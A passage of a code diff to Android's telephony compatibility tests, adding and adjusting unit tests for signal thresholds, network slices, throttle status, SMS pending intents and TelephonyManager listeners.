+                .build();
+
+        SignalThresholdInfo sti2 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.CDMA2000)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti3 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti4 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholdsDisordered)
+                .build();
+
+        assertTrue(sti1.equals(sti1));
+        assertFalse(sti1.equals(sti2));
+        assertTrue(sti1.equals(sti3));
+        assertTrue(sti1.equals(sti4));
+        assertFalse(sti1.equals("sti1"));
+    }
+
+    private void buildWithInvalidParameterThrowException(int ran, int signalMeasurementType,
+            int[] thresholds) {
+        try {
+            new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            fail("Exception expected");
+        } catch (IllegalArgumentException | NullPointerException expected) {
+        }
+    }
+
+    /**
+     * Return a possible valid RAN value for the measurement type. This is used to prevent the
+     * invalid ran/type causing IllegalArgumentException when testing other invalid input cases.
+     */
+    private static int getValidRan(@SignalThresholdInfo.SignalMeasurementType int type) {
+        switch (type) {
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI:
+                return AccessNetworkConstants.AccessNetworkType.GERAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP:
+                return AccessNetworkConstants.AccessNetworkType.UTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR:
+                return AccessNetworkConstants.AccessNetworkType.EUTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR:
+                return AccessNetworkConstants.AccessNetworkType.NGRAN;
+            default:
+                return AccessNetworkConstants.AccessNetworkType.UNKNOWN;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
new file mode 100644
index 0000000..d0ab1ae
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.telephony.data.SliceInfo;
+
+import org.junit.Test;
+
+public class SliceInfoTest {
+    private static final int TEST_SLICE_DIFFERENTIATOR = 1;
+    private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
+    private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
+    private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
+
+    @Test
+    public void testParceling() {
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .build());
+
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .build());
+
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .build());
+
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
+                .build());
+    }
+
+    private void testParceling(SliceInfo sliceInfo1) {
+        Parcel stateParcel = Parcel.obtain();
+        sliceInfo1.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+
+        SliceInfo parcelResponse = SliceInfo.CREATOR.createFromParcel(stateParcel);
+        assertThat(parcelResponse).isEqualTo(sliceInfo1);
+    }
+
+    @Test
+    public void testSliceDifferentiatorRange() {
+        new SliceInfo.Builder()
+                .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
+                .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR);
+
+        try {
+            new SliceInfo.Builder()
+                    .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new SliceInfo.Builder()
+                    .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new SliceInfo.Builder()
+                    .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new SliceInfo.Builder()
+                    .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 8761739..0013ea7 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -629,9 +629,9 @@
         mReceivedDataSms = false;
         sMessageId = 0L;
         mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     /**
@@ -647,8 +647,8 @@
             ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
             ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
             for (int i = 0; i < numPartsSent; i++) {
-                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
-                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
+                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
             sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents, addMessageId);
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
index a9a934d..e61a720 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -34,13 +34,13 @@
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_SENT_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_DELIVERED_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 987e098..b6a0f6f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_CONGESTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
@@ -351,13 +352,12 @@
                 Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
 
         // Cellular is metered by default
-        assertFalse(cm.getNetworkCapabilities(net).hasCapability(
-                NET_CAPABILITY_TEMPORARILY_NOT_METERED));
+        assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
 
         // Override should make it go temporarily unmetered
         {
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+                return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
             });
             mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
@@ -366,7 +366,7 @@
         // Clearing override should make it go metered
         {
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+                return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
             });
             mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index e32b9f8..982162a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.telephony.cts;
 
+import static android.app.AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER;
+
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -30,6 +32,7 @@
 
 import android.Manifest.permission;
 import android.annotation.NonNull;
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.BroadcastReceiver;
@@ -58,6 +61,9 @@
 import android.telephony.CallQuality;
 import android.telephony.CarrierBandwidth;
 import android.telephony.CarrierConfigManager;
+import android.telephony.CellIdentity;
+import android.telephony.CellIdentityLte;
+import android.telephony.CellIdentityNr;
 import android.telephony.CellInfo;
 import android.telephony.CellLocation;
 import android.telephony.DataThrottlingRequest;
@@ -68,6 +74,7 @@
 import android.telephony.PreciseCallState;
 import android.telephony.RadioAccessFamily;
 import android.telephony.ServiceState;
+import android.telephony.SignalStrength;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
@@ -126,6 +133,7 @@
     private PackageManager mPackageManager;
     private boolean mOnCellLocationChangedCalled = false;
     private boolean mOnCellInfoChanged = false;
+    private boolean mOnSignalStrengthsChanged = false;
     private boolean mServiceStateChangedCalled = false;
     private boolean mRadioRebootTriggered = false;
     private boolean mHasRadioPowerOff = false;
@@ -182,6 +190,7 @@
     private static final String TESTING_PLMN = "12345";
 
     private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
+    private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
     private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
 
     static {
@@ -261,7 +270,7 @@
 
     @After
     public void tearDown() throws Exception {
-        if (mListener != null) {
+        if (mListener != null && mListener.isExecutorSet()) {
             // unregister the listener
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
         }
@@ -389,6 +398,25 @@
             // expected
         }
     }
+
+    @Test
+    public void testListenFailWithNonLooper() throws Throwable {
+        if (!InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+            return;
+        }
+
+        mListener = new PhoneStateListener();
+        try {
+            // .listen generates an onCellLocationChanged event
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+            fail("PhoneStateListener created from a thread without looper should " +
+                    "trigger IllegalStateException.");
+        } catch (IllegalStateException e) {
+        }
+    }
+
     @Test
     public void testListen() throws Throwable {
         if (!InstrumentationRegistry.getContext().getPackageManager()
@@ -582,6 +610,20 @@
         mTelephonyManager.getDefaultRespondViaMessageApplication();
         ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                 TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
+
+        // Verify getImei/getSubscriberId/getIccAuthentication:
+        // With app ops permision USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, should not throw
+        // SecurityException.
+        try {
+            setAppOpsPermissionAllowed(true, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+
+            mTelephonyManager.getImei();
+            mTelephonyManager.getSubscriberId();
+            mTelephonyManager.getIccAuthentication(
+                    TelephonyManager.APPTYPE_USIM, TelephonyManager.AUTHTYPE_EAP_AKA, "");
+        } finally {
+            setAppOpsPermissionAllowed(false, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+        }
     }
 
     @Test
@@ -2155,6 +2197,59 @@
     }
 
     /**
+     * Tests TelephonyManager.setCallComposerStatus and TelephonyManager.getCallComposerStatus.
+     */
+    @Test
+    public void testSetGetCallComposerStatus() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        boolean hasImsFeature = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS);
+
+        if (hasImsFeature) {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+            int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON);
+        } else {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+            int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+        }
+    }
+
+    /**
      * Tests {@link TelephonyManager#getSupportedRadioAccessFamily()}
      */
     @Test
@@ -3131,7 +3226,8 @@
 
     @Test
     public void testCdmaRoamingMode() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
             return;
         }
 
@@ -3157,7 +3253,8 @@
 
     @Test
     public void testCdmaSubscriptionMode() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
             return;
         }
 
@@ -3178,7 +3275,7 @@
 
         // Reset state
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                tm -> tm.setCdmaRoamingMode(cdmaSubscriptionMode));
+                tm -> tm.setCdmaSubscriptionMode(cdmaSubscriptionMode));
     }
 
     @Test
@@ -3230,10 +3327,6 @@
                     (tm) -> tm.getCarrierBandwidth());
         if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
             assertTrue(bandwidth != null);
-            assertTrue(bandwidth.getPrimaryDownlinkCapacityKbps()
-                    != CarrierBandwidth.INVALID);
-            assertTrue(bandwidth.getPrimaryUplinkCapacityKbps()
-                    != CarrierBandwidth.INVALID);
         }
     }
 
@@ -3355,6 +3448,40 @@
         assertFalse(mTelephonyManager.isRadioInterfaceCapabilitySupported(""));
     }
 
+    @Test
+    public void testGetAllCellInfo() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) return;
+
+        // For IRadio <1.5, just verify that calling the method doesn't throw an error.
+        if (mRadioVersion < RADIO_HAL_VERSION_1_5) {
+            mTelephonyManager.getAllCellInfo();
+            return;
+        }
+
+        for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
+            CellIdentity cellIdentity = cellInfo.getCellIdentity();
+            int[] bands;
+            if (cellIdentity instanceof CellIdentityLte) {
+                bands = ((CellIdentityLte) cellIdentity).getBands();
+                for (int band : bands) {
+                    assertTrue(band >= AccessNetworkConstants.EutranBand.BAND_1
+                            && band <= AccessNetworkConstants.EutranBand.BAND_88);
+                }
+            } else if (cellIdentity instanceof CellIdentityNr) {
+                bands = ((CellIdentityNr) cellIdentity).getBands();
+                for (int band : bands) {
+                    assertTrue((band >= AccessNetworkConstants.NgranBands.BAND_1
+                            && band <= AccessNetworkConstants.NgranBands.BAND_95)
+                            || (band >= AccessNetworkConstants.NgranBands.BAND_257
+                            && band <= AccessNetworkConstants.NgranBands.BAND_261));
+                }
+            } else {
+                continue;
+            }
+            assertTrue(bands.length > 0);
+        }
+    }
+
     /**
      * Validate Emergency Number address that only contains the dialable character.
      *
@@ -3582,6 +3709,59 @@
         return major * 100 + minor;
     }
 
+    private Executor mSimpleExecutor = new Executor() {
+        @Override
+        public void execute(Runnable r) {
+            r.run();
+        }
+    };
+
+    private static MockSignalStrengthsPhoneStateListener mMockSignalStrengthsPhoneStateListener;
+
+    private class MockSignalStrengthsPhoneStateListener extends PhoneStateListener
+            implements PhoneStateListener.SignalStrengthsChangedListener {
+        @Override
+        public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+            if (!mOnSignalStrengthsChanged) {
+                synchronized (mLock) {
+                    mOnSignalStrengthsChanged = true;
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testRegisterPhoneStateListenerWithNonLooper() throws Throwable {
+        if (!InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+            return;
+        }
+
+        mMockSignalStrengthsPhoneStateListener = new MockSignalStrengthsPhoneStateListener();
+
+        // Test register, generates an mOnSignalStrengthsChanged event
+        mTelephonyManager.registerPhoneStateListener(mSimpleExecutor,
+                mMockSignalStrengthsPhoneStateListener);
+
+        synchronized (mLock) {
+            if (!mOnSignalStrengthsChanged) {
+                mLock.wait(TOLERANCE);
+            }
+        }
+        assertTrue("Test register, mOnSignalStrengthsChanged should be true.",
+                mOnSignalStrengthsChanged);
+
+        // Test unregister
+        mOnSignalStrengthsChanged = false;
+        // unregister again, to make sure doing so does not call the listener
+        mTelephonyManager.unregisterPhoneStateListener(mMockSignalStrengthsPhoneStateListener);
+
+        assertFalse("Test unregister, mOnSignalStrengthsChanged should be false.",
+                mOnSignalStrengthsChanged);
+    }
+
     private static MockPhoneStateListener mMockPhoneStateListener;
 
     private class MockPhoneStateListener extends PhoneStateListener
@@ -3616,7 +3796,7 @@
                 Looper.prepare();
                 mMockPhoneStateListener = new MockPhoneStateListener();
                 synchronized (mLock) {
-                    mLock.notify(); // mListener is ready
+                    mLock.notify(); // listener is ready
                 }
 
                 Looper.loop();
@@ -3625,14 +3805,13 @@
 
         synchronized (mLock) {
             t.start();
-            mLock.wait(TOLERANCE); // wait for mListener
+            mLock.wait(TOLERANCE); // wait for listener
         }
 
         // Test register
         synchronized (mLock) {
-            // .listen generates an onCellLocationChanged event
-            mTelephonyManager.registerPhoneStateListener(getContext().getMainExecutor(),
-                    mMockPhoneStateListener);
+            // .registerPhoneStateListener generates an onCellLocationChanged event
+            mTelephonyManager.registerPhoneStateListener(mSimpleExecutor, mMockPhoneStateListener);
             mLock.wait(TOLERANCE);
 
             assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -3643,7 +3822,7 @@
             mOnCellInfoChanged = false;
 
             CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
-            mTelephonyManager.requestCellInfoUpdate(getContext().getMainExecutor(), resultsCallback);
+            mTelephonyManager.requestCellInfoUpdate(mSimpleExecutor, resultsCallback);
             mLock.wait(TOLERANCE);
 
             assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -3682,5 +3861,12 @@
             }
         }
     }
+
+    private void setAppOpsPermissionAllowed(boolean allowed, String op) {
+        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+    }
 }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index b702805..59654f1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -24,6 +24,7 @@
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.lang.reflect.Field;
 import java.nio.charset.StandardCharsets;
 import java.util.function.BooleanSupplier;
 
@@ -68,6 +69,25 @@
         return simOperator != null && simOperator.equals(operator);
     }
 
+    public static String parseErrorCodeToString(int errorCode,
+            Class<?> containingClass, String prefix) {
+        for (Field field : containingClass.getDeclaredFields()) {
+            if (field.getName().startsWith(prefix)) {
+                if (field.getType() == Integer.TYPE) {
+                    field.setAccessible(true);
+                    try {
+                        if (field.getInt(null) == errorCode) {
+                            return field.getName();
+                        }
+                    } catch (IllegalAccessException e) {
+                        continue;
+                    }
+                }
+            }
+        }
+        return String.format("??%d??", errorCode);
+    }
+
     /**
      * Executes the given shell command and returns the output in a string. Note that even
      * if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java
new file mode 100644
index 0000000..ff622e7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.data.ApnSetting;
+import android.telephony.data.ThrottleStatus;
+
+import org.junit.Test;
+
+public class ThrottleStatusTest {
+
+    private static final int SLOT_INDEX = 10;
+    private static final int TRANSPORT_TYPE = AccessNetworkConstants.TRANSPORT_TYPE_WWAN;
+    private static final int APN_TYPE = ApnSetting.TYPE_IMS;
+    private static final int THROTTLE_TYPE = ThrottleStatus.THROTTLE_TYPE_ELAPSED_TIME;
+    private static final long THROTTLE_EXPIRY_TIME_MILLIS = 5005;
+    private static final int RETRY_TYPE = ThrottleStatus.RETRY_TYPE_NEW_CONNECTION;
+
+    @Test
+    public void testBuilderAndGetters() {
+
+        ThrottleStatus status = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        assertEquals(SLOT_INDEX, status.getSlotIndex());
+        assertEquals(TRANSPORT_TYPE, status.getTransportType());
+        assertEquals(APN_TYPE, status.getApnType());
+        assertEquals(THROTTLE_TYPE, status.getThrottleType());
+        assertEquals(THROTTLE_EXPIRY_TIME_MILLIS, status.getThrottleExpiryTimeMillis());
+        assertEquals(RETRY_TYPE, status.getRetryType());
+    }
+
+    @Test
+    public void testEquals() {
+
+        ThrottleStatus status1 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+        ThrottleStatus status2 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        assertEquals(status1, status2);
+    }
+
+    @Test
+    public void testNotEquals() {
+        ThrottleStatus status1 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
